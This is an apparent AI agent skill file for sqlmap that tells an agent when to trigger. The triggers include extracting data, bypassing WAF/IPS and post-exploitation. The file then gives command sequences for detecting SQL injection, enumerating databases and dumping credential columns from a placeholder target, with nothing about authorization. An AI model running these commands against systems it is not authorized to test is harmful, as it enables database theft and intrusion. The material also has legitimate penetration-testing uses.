sqlmap

Files (1)

• SKILL.md

SKILL.md (first lines)

# SQLMap Exploitation Skill

Automated SQL injection and database takeover using SQLMap—the industry standard for finding and exploiting SQL injection vulnerabilities.

## When to Use This Skill

Trigger when the user:
- Wants to test a web application for SQL injection vulnerabilities
- Needs to extract data from a database via SQL injection
- Asks about SQLMap usage, techniques, or evasion
- Wants to automate SQL injection attacks
- Needs to bypass WAF/IPS during SQL injection
- Wants to dump database schemas, tables, or credentials
- Asks about post-exploitation via SQL injection (file upload, shell, privilege escalation)

## Installation

### Quick Install (All Platforms)

```bash
# Clone from GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap
cd /opt/sqlmap

# Test installation
python sqlmap.py --version

# Optional: Add to PATH
echo 'export PATH="/opt/sqlmap:$PATH"' >> ~/.bashrc
source ~/.bashrc
```

### Package Manager Install

```bash
# Kali Linux / Debian / Ubuntu (pre-installed on Kali)
sudo apt update && sudo apt install sqlmap -y

# Arch Linux
sudo pacman -S sqlmap

# macOS (Homebrew)
brew install sqlmap

# Windows (via pip)
pip install sqlmap-python
```

### Verify Installation

```bash
sqlmap --version
# Output: sqlmap/1.8.x
```

## Core Concepts

SQLMap automates:
1. **Detection** — Identifies SQL injection points (GET/POST/Cookie/Header)
2. **Exploitation** — Extracts data via boolean-based, time-based, error-based, UNION, or stacked queries
3. **Enumeration** — Lists databases, tables, columns, users
4. **Data Extraction** — Dumps table contents, credentials, hashes
5. **Post-Exploitation** — File read/write, OS shell, privilege escalation

## Basic Usage Pattern

### Step 1: Test for Vulnerability

```bash
# Test a single parameter
sqlmap -u "http://target.com/page.php?id=1" --batch

# Test POST data
sqlmap -u "http://target.com/login.php" --data "username=admin&password=test" --batch

# Test from Burp Suite request file
sqlmap -r request.txt --batch
```

**Key flags:**
- `--batch` — Non-interactive mode (auto-answers prompts)
- `--random-agent` — Randomize User-Agent header
- `--level=5` — Test thoroughness (1-5, default 1)
- `--risk=3` — Test aggression (1-3, default 1)

### Step 2: Enumerate Database

```bash
# List all databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

# Get current database
sqlmap -u "http://target.com/page.php?id=1" --current-db --batch

# List tables in a specific database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

# List columns in a specific table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
```

### Step 3: Extract Data

```bash
# Dump entire table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

# Dump specific columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C username,password --dump --batch

# Dump all databases (WARNING: slow and noisy)
sqlmap -u "http://target.com/page.php?id=1" --dump-all --batch

# Search for specific data
sqlmap -u "http://target.com/page.php?id=1" --search -C password --batch
```

### Step 4: Post-Exploitation

From bolone-sengkuni/hermes-brutal-mod, MIT.

More from bolone-sengkuni/hermes-brutal-mod